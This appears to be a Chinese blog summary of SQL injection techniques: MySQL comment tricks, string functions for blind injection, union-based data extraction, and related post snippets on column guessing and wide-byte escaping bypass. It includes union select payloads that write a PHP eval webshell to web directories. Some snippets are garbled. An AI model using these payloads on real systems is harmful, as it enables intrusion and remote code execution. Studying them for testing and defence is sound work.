SQL注入總結

2021-07-13 04:33:45 字數 1635 閱讀 8629

/* …. / 在大部分語言中都一樣是注釋。這個之中的語句是不被執行的。但mysql中 為了保持相容,比如從mysqldump 匯出的sql語句能被其它資料庫直接使用,它把一些特有的僅在mysql上的語句放在 /! … */ 中,這樣這些語句如果在其他資料庫中是不會被執行,但在mysql中它會執行。

僅當mysql的版本等於或高於指定的版本號時才會執行注釋中的語法: create /!32302 temporary / table t (a int);這意味著,如果你的版本號為3.23.02或更高,mysql伺服器將使用temporary關鍵字。

設定變數 set @a=123;

或者 @a:=123;

select @a:=name from users limit 1;

把name列印成一行:

select group_concat(name) from aa

擷取字段(盲注時判斷)

select substring(『codelabshidahaoren』,1,1);

或者 select substring(『codelabshidahaoren』 from 1 for 1);

字元拼接:

select concat(『codelab』,』is』,』good』);

許多行內容弄到一行,但是又用分隔符分開:

select concat_ws(『,』,』codelab』,』good』); – 用逗號分隔開

select floor(3.8);

ord() 函式返回字串第乙個字元的 ascii 值:

select ord(『a』);

select ord(substring(『asdf』 from 1 for 1));

select char(49+(case when 『a』 > 『b』) then 1 else 0 end));

select * from user limit 0,1 # 第一條資料

select * from user limit 1,2 # 第二條資料

select * from user limit 0,2 # 前兩條資料

通過使用join關鍵字

select 1,2 union select * from((select user())a join (select database())b);

假設我們通過phpinfo檔案知道了**的物理路徑,接下來我們通過使用union select語句來寫入webshell.寫入需要你有寫入許可權等。

『 union select 1,』<?php eval($_post[cmd]);?>『 into outfile 『/var/www/dvwa/cmd.php』 +- -+

『 union select 1,'<?php eval($_post[cmd]);?>』 into outfile 『c:\\2.php』+- -+

在where語句中,當出現多個字串的時候,「=」將會選擇優先順序最高的乙個,優先順序是從左到右,依次降低的,也就是離「=」最近的乙個。

注釋: # – (後邊有空格)

注意: 在url當中,我們可以使用「+」來代替「–」後面的空格。

什麼是payload:說白了就是一段惡意**,以便我們能夠獲得資料庫裡面的資料。

sql注入總結

第一天 url 統一資源定位符 協議 主機號 目錄 注釋符 20 代表空格 order by 15 閉合條件為 猜測列數 union all select 1,2,3 猜測顯示位 select schema name from information schema.schemata 查庫名 sele...

sql注入總結

資料庫支援,並採用gbk格式進行編碼 在獲取url資料時,使用addslashes或是其他方式對單引號 進行了轉義,使其變成了 php的get post等方法預設都會進行此操作 上面的兩個條件缺一不可,gbk編碼不太好確定,但是第二個比較好確認,例如輸入的url為?id 1 返回了?id 1 當遇到...

Sql注入總結

1 利用閉合變數報錯測試注入點,id 1 這樣說明存在單引號閉合注入 2 是否存在注入點,用and語句測試 id 1 and 1 2 id 1 and 1 1 3 猜測字段 id 1 order by 3 23 4 找到頁面中資料輸入點 id 1 union select 1,2,3 23 5 查資...